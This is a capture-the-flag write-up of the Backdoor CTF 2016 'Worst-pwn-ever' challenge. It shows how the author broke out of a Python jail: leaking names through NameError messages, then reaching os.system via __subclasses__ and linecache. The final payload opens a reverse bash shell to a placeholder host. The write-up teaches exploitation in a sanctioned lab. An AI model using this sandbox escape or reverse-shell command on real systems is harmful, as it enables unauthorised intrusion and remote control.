Backdoor CTF 2016 - Worst-pwn-ever - Pwn Challenge

Reading time ~2 minutes

Cool little challenge, we’re given a hostname and port. When we connect we’re presented with a ‘>’ prompt and we have to deduce the environment we’re in then exploit it.

worst-pwn-ever

tocttou is an enviornmentalist. But some say he has a vicious motive and he uses nature to hide his dark side. We found a weird shell on his amazon (pun inteded) web services. Can you tell us what is he upto? Tip: he might shut down the machine if he notices you - and he will (maybe in 45 seconds). Access: nc hack.bckdr.in 9008

Created by: Ashish Chaudhary

After one command is attempted the shell exits. Here’s the first run:

> test
NameError: name 'test' is not defined
-> WHAT ARE YOU DOING HERE? >-[

NameError makes me think this is a Python exception. I try to have it print something using Python print.

> print dir()
NameError: invalid syntax (<string>, line 1) 
-> WHAT ARE YOU DOING HERE? >-[

No luck. I’m thinking we don’t seem to be able to see the results of our code except for in the Exceptions, so I try to raise meaningful NameError exceptions:

> eval(dir()[0]+"X")
NameError: name '__builtins__X' is not defined
-> WHAT ARE YOU DOING HERE? >-[

I am thus able to leak names and contents of the globals etc. Thinking the flag was in the Python environment we wrote a script to enumerate dir()/globals() etc but no luck there.

Next I focused on getting code execution. The os/sys modules are not loaded, but I recalled a past CTF where it is possible to call os.system() even when os module is not loaded through a convoluted path. This is the writeup I mean:

https://blog.inexplicity.de/plaidctf-2013-pyjail-writeup-part-i-breaking-the-sandbox.html

So on my local system I began searching to see if this linecache module method still works on Python in 2016. I examine the list of subclasses in Python on my local machine:

>>> ().__class__.__base__.__subclasses__()
[<type 'type'>, <type 'weakref'>, ... , <class 'warnings.catch_warnings'>, ...] 

It’s there, at index 59 of the __subclasses__() list is warnings.catch_warnings. Let’s examine if the remote system aligns with my system. We can call a fake attribute of this method to generate a NameError exception:

> ().__class__.__base__.__subclasses__()[59].__fake__
NameError: type object 'catch_warnings' has no attribute '__fake__'
-> WHAT ARE YOU DOING HERE? >-[
  

Nice! It aligns with my local system. So we can continue to exploit this with the same attributes used in PlaidCTF 2013. Like so…

> ().__class__.__base__.__subclasses__()[59].__init__.func_globals["linecache"].__dict__["os"].system("bash -i >& /dev/tcp/x.x.x.x/1234 0>&1")

From which I received a reverse Bash shell on my listening host.

Given the clue about the “environmentalist” I checked the bash environment and sure enough the flag was stored as an environment variable.

Riscure RHme2: FridgeJIT - Reverse Engineering Challenge

First part of a long series of well thought out challenges in the RHme2 CTF. This one was the "introduction" one but it was tricky and ce...… Continue reading